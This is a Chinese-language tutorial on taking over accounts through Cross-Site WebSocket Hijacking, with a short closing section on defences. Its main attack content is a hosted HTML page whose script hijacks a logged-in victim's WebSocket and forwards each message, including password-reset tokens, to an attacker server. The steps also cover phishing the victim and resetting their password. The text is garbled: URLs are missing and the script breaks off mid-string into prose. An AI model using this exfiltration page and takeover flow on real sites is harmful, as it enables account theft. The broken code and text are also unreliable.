2022-10-30 08:48:30
利用WebSocket跨站劫持(CSWH)漏洞接管账户的核心步骤是通过诱导用户访问恶意页面,劫持其WebSocket连接并获取敏感令牌(如forgotPasswordID),最终实现密码重置或账户接管。以下是具体技术细节与攻击流程:
一、CSWH漏洞原理WebSocket协议默认不强制同源策略(Same-Origin Policy),若服务器未验证WebSocket连接的Origin头或未实施CSRF防护,攻击者可构造跨站请求劫持合法用户的WebSocket会话。
登录目标应用在浏览器中访问目标Web应用并登录,确保后续WebSocket连接携带用户会话。
测试WebSocket连接
在新选项卡打开WebSocket测试工具(如
使用Burp Suite代理捕获WebSocket通信数据帧,观察服务器响应。
漏洞确认:若攻击者页面能成功建立连接并接收与合法页面相同的响应,则表明存在CSWH漏洞。
分析响应数据检查服务器返回的WebSocket消息,识别敏感参数(如_forgotPasswordId)。
初始响应可能显示_forgotPasswordId: null,表示未触发密码重置流程。
通过目标应用的“忘记密码”功能触发重置请求后,再次测试WebSocket连接,捕获包含有效forgotPasswordID令牌的响应。
构造恶意HTML页面攻击者需托管以下HTML代码至公网服务器,用于劫持用户WebSocket连接并转发敏感数据:
<!DOCTYPE html><meta charset="utf-8" /><title>Testing</title><script>var wsUri = "wss://host.com"; // 替换为目标WebSocket URLfunction init() { testWebSocket();}function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onmessage = function(evt) { // 将WebSocket响应数据通过XHR发送至攻击者服务器 var xhr = new XMLHttpRequest(); xhr.open("POST", "诱导用户访问恶意页面
通过钓鱼邮件、社交工程等方式诱骗目标用户点击恶意URL(如
用户访问后,浏览器自动建立跨站WebSocket连接,攻击者页面接收服务器返回的forgotPasswordID令牌。
重置密码并接管账户
攻击者提取forgotPasswordID令牌,通过目标应用的密码重置接口提交该令牌,设置新密码。
完成密码重置后,攻击者可使用新密码登录受害者账户。
服务器端防护
验证Origin头:检查WebSocket连接的Origin头是否与合法域名匹配,拒绝跨站请求。
实施CSRF令牌:在WebSocket握手阶段要求客户端提供有效的CSRF令牌。
限制敏感操作:避免通过WebSocket传输密码重置令牌等敏感数据,改用传统HTTP请求并加强验证。
客户端防护
用户教育:提醒用户勿点击可疑链接,尤其是涉及账户操作的请求。
使用CSP(内容安全策略):限制页面加载外部资源,防止恶意脚本执行。
开发规范
遵循OWASP WebSocket安全指南,对所有WebSocket连接实施严格的同源策略和身份验证。
CSWH攻击可导致账户接管、敏感数据泄露等严重后果,尤其当WebSocket用于传输会话令牌或操作凭证时,风险极高。开发者需在设计与实现阶段主动防御此类漏洞。